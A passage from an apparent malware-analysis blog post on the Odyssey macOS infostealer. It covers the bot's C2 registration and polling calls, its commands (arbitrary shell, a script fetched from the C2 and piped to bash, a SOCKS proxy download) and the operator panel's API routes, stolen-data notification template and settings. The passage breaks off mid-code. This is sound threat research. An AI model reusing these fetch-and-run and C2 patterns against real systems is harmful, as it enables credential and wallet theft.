<p><code>joinsystem()</code> - Registers the bot with the C2 server and retrieves a unique botID:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb19" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb19-1">GET /api/v1/bot/joinsystem/{panelUsername}/{macOSVers}</span></code></pre></div></div>
<p><code>getActions()</code> - Polls the C2 for pending commands:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb20" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb20-1">GET /api/v1/bot/actions/{botID}</span></code></pre></div></div>
<p>Both functions implement retry logic with exponential backoff (60-second delays), with a 10-attempt limit before giving up. The User-Agent is <code>User-Agent: bot</code>.</p>
</section>
<section id="command-execution" class="level3">
<h3 class="anchored" data-anchor-id="command-execution">Command Execution</h3>
<p>The main loop continuously polls for actions and executes them based on the <code>actionName</code>:</p>
<ul>
<li><p><code>uninstall</code> - Writes a marker file and exits, effectively disabling the malware</p></li>
<li><p><code>doshell</code> - Executes arbitrary shell commands directly</p></li>
<li><p><code>repeat</code> - Downloads and executes a script from the C2:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb21" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb21-1">GET /api/v1/bot/repeat/{panelUsername} | bash</span></code></pre></div></div></li>
<li><p><code>enablesocks5</code> - Downloads a SOCKS5 proxy binary and runs it in the background</p>
<p><code>33a89db6eea3b3b01e56439de1e40d0ca542bc1938a994485c44d6037e113739 socks</code></p></li>
</ul>
<p>Each action is tracked via <code>actionID</code> to prevent duplicate execution.</p>
</section>
</section>
<section id="bonus-track-c2-panel-analysis" class="level2">
<h2 class="anchored" data-anchor-id="bonus-track-c2-panel-analysis">Bonus track: C2 Panel Analysis</h2>
<p>The domain <code>nqowf[.]com</code> was registered behind Cloudflare on <a href="https://crt.sh/?q=nqowf.com">2026-06-04 (visible in crt.sh)</a>. The main page displays a login panel, and interestingly, the same affiliate portal was mentioned by researcher <a href="https://x.com/Gi7w0rm/status/2027041780135321723"><span class="citation" data-cites="Gi7w0rm">@Gi7w0rm</span></a> months earlier.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/c2_panel.png" title="c2 login panel" class="img-fluid"></p>
<p>They identified it as the Odyssey infostealer panel.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/c2_panel_twitter.png" title="c2 login panel by user @Gi7w0rm" class="img-fluid"></p>
<section id="frontend-analysis" class="level3">
<h3 class="anchored" data-anchor-id="frontend-analysis">Frontend Analysis</h3>
<p>A fun thing about the frontend is that it’s public by definition, so I downloaded the js to learn more about the operation. The panel is built with React and reveals a lot through its API endpoints and configuration.</p>
<section id="api-endpoints-and-routes" class="level4">
<h4 class="anchored" data-anchor-id="api-endpoints-and-routes">API Endpoints and Routes</h4>
<p>The authentication layer reveals endpoints for managing bots, actions, and data exfiltration:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb22" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb22-1">/api/v1/sign-in</span>
<span id="cb22-2">/api/v1/auth/user</span>
<span id="cb22-3">/api/v1/auth/seeds</span>
<span id="cb22-4">/api/v1/auth/statistics</span>
<span id="cb22-5">/api/v1/auth/builder</span>
<span id="cb22-6">/api/v1/auth/bots</span>
<span id="cb22-7">/api/v1/auth/bot-actions</span>
<span id="cb22-8">/api/v1/auth/bot/${e}</span>
<span id="cb22-9">/api/v1/auth/repeat-all</span>
<span id="cb22-10">/api/v1/auth/socks</span>
<span id="cb22-11">/api/v1/auth/socks/${e}</span>
<span id="cb22-12">/api/v1/auth/revshells</span>
<span id="cb22-13">/api/v1/auth/revshells/${e}</span>
<span id="cb22-14">/api/v1/auth/settings</span>
<span id="cb22-15">/api/v1/auth/create-guest-link</span>
<span id="cb22-16">/api/v1/auth/logs</span>
<span id="cb22-17">/api/v1/auth/log/${e}</span>
<span id="cb22-18">/api/v1/auth/download-without-wallets</span>
<span id="cb22-19">/api/v1/auth/download-all</span>
<span id="cb22-20">/api/v1/auth/download-wallets</span>
<span id="cb22-21">/api/v1/auth/download-log/${e}</span>
<span id="cb22-22">/api/v1/auth/download-selected?id=${e}</span>
<span id="cb22-23">/api/v1/auth/restore-cookies</span></code></pre></div></div>
<p>Admin functionality includes user and blacklist management:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb23" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb23-1">/api/v1/admin/users</span>
<span id="cb23-2">/api/v1/admin/user</span>
<span id="cb23-3">/api/v1/admin/user/${encodeURIComponent(e)}</span>
<span id="cb23-4">/api/v1/admin/safe-exit</span>
<span id="cb23-5">/api/v1/admin/blacklist</span>
<span id="cb23-6">/api/v1/admin/blacklist/${e}</span></code></pre></div></div>
<p>And guest/statistics links for sharing stolen data:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb24" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb24-1">/api/v1/guestmode/${e}</span>
<span id="cb24-2">/api/v1/stat/${e}</span></code></pre></div></div>
<p>Frontend Routes</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb25" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb25-1">/login</span>
<span id="cb25-2">/builder</span>
<span id="cb25-3">/link-creator</span>
<span id="cb25-4">/logs</span>
<span id="cb25-5">/cookies</span>
<span id="cb25-6">/bots</span>
<span id="cb25-7">/socks</span>
<span id="cb25-8">/revshells</span>
<span id="cb25-9">/seeds</span>
<span id="cb25-10">/settings</span>
<span id="cb25-11">/admin</span>
<span id="cb25-12">/admin/blacklist</span></code></pre></div></div>
</section>
<section id="the-knock-message-template" class="level4">
<h4 class="anchored" data-anchor-id="the-knock-message-template">The Knock Message Template</h4>
<p>The default notification template that operators receive when a bot checks in. This template summarizes everything the malware harvests in a single notification.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb26" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb26-1">(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> O9<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">useEffect</span>)(() <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">=&gt;</span> {</span>
<span id="cb26-2">    v <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;&amp;</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">h</span>({</span>
<span id="cb26-3">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">...</span>v<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb26-4">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">knock_msg</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> v<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">knock_msg</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">||</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`MACOS STEALER</span></span>
<span id="cb26-5"></span>
<span id="cb26-6"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">ID: {{ID}}</span></span>
<span id="cb26-7"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">BuildID: {{BUILDID}}</span></span>
<span id="cb26-8"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">IsDup: {{ISDUP}}</span></span>
<span id="cb26-9"></span>
<span id="cb26-10"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">IP: {{IP}}</span></span>
<span id="cb26-11"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Country: {{COUNTRY}}</span></span>
<span id="cb26-12"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Country Code: {{CC}}</span></span>
<span id="cb26-13"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">CryptoChecker Balance: {{CRYPTOBALANCE}}</span></span>
<span id="cb26-14"></span>
<span id="cb26-15"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Cookies: {{COOKIES}}</span></span>
<span id="cb26-16"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Passwords: {{PASSWORDS}}</span></span>
<span id="cb26-17"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Wallets: {{WALLETCOUNT}} {{WALLETARRAY}}</span></span>
<span id="cb26-18"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Domains Count: {{DOMAINS}}</span></span>
<span id="cb26-19"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Valueable Domains: {{VALUABLEDOMAINS}}</span></span>
<span id="cb26-20"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Password Managers: {{PWDMANAGERS}}</span></span>
<span id="cb26-21"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Have Telegram: {{TELEGRAM}}</span></span>
<span id="cb26-22"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">Notes Count: {{NOTESCOUNT}}</span></span>
<span id="cb26-23"><span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">DateTime: {{DATETIME}}`</span></span>
<span id="cb26-24">        })</span></code></pre></div></div>
<p>Remember to always keep good security: <em>“The password must be at least 4 characters.”</em></p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb27" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb27-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">rE</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> BNe <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">oT</span>({</span>
<span id="cb27-2">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">password</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">min</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> {</span>
<span id="cb27-3">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">message</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Пароль должен быть не менее 4 символов.`</span></span>
<span id="cb27-4">    })</span>
<span id="cb27-5">})<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> VNe <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">oT</span>({</span>
<span id="cb27-6">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bot_token</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-7">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">id_logs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-8">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">id_notifs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-9">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chat_id_crypto</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-10">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">chat_id_ledger</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-11">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">antidup</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">rT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-12">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cryptochecker_on</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">rT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-13">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">knock_msg</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-14">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ftp_host</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-15">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ftp_user</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-16">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ftp_pass</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb27-17">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ftp_dir</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">nT</span>()<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">.</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">optional</span>()</span>
<span id="cb27-18">})</span></code></pre></div></div>
</section>
<section id="translations" class="level4">
<h4 class="anchored" data-anchor-id="translations">Translations</h4>
<p>But the most interesting part are the translations:</p>
<div class="callout callout-style-default callout-note callout-titled" title="Translations" style="max-height: 300px; overflow-y: auto;">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
<span class="screen-reader-only">Note</span>Translations
</div>
</div>
<div class="callout-body-container callout-body">
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb28" style="background: #f1f3f5;"><pre class="sourceCode javascript code-with-copy"><code class="sourceCode javascript"><span id="cb28-1"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">var</span> BFe <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> {</span>
<span id="cb28-2">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">nav</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-3">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dashboard</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Dashboard`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-4">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">builder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Builder`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-5">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Logs`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-6">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">bots</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Bots`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-7">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">linkCreator</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Link Creator`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-8">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cookies</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Google Cookies Restore`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-9">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">settings</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Settings`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-10">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">admin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Admin Panel`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-11">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">signOut</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Sign Out`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-12">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">subscriptionExpires</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Subscription expires in`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-13">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">days</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count} days`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-14">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">guestView</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Guest View`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-15">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">socks</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Socks`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-16">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">nonPersistentBotsInfo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Non-persistent bots is online only for 3 days`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-17">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">socksActiveInfo</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Socks are active for 24 hours`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-18">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">subscription</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Subscription`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-19">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">expiresIn</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Expires in {{count}} days`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-20">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">appTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`App`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-21">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">returnToAdmin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Return to Admin`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-22">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">seeds</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Seeds`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-23">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">revshells</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Reverse Shells`</span></span>
<span id="cb28-24">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-25">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">admin</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-26">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">addUser</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Add User`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-27">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">goToBlacklist</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Go to Blacklist`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-28">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">nickname</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Nickname`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-29">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">subExpiry</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Sub Expiry`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-30">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Action`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-31">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">edit</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Edit`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-32">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">delete</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-33">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">never</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Never`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-34">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">modalEditTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Edit User`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-35">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">modalAddTitle</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Add User`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-36">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">username</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Username`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-37">            <span class="dt" style="color: #AD0000;
background-color: null;
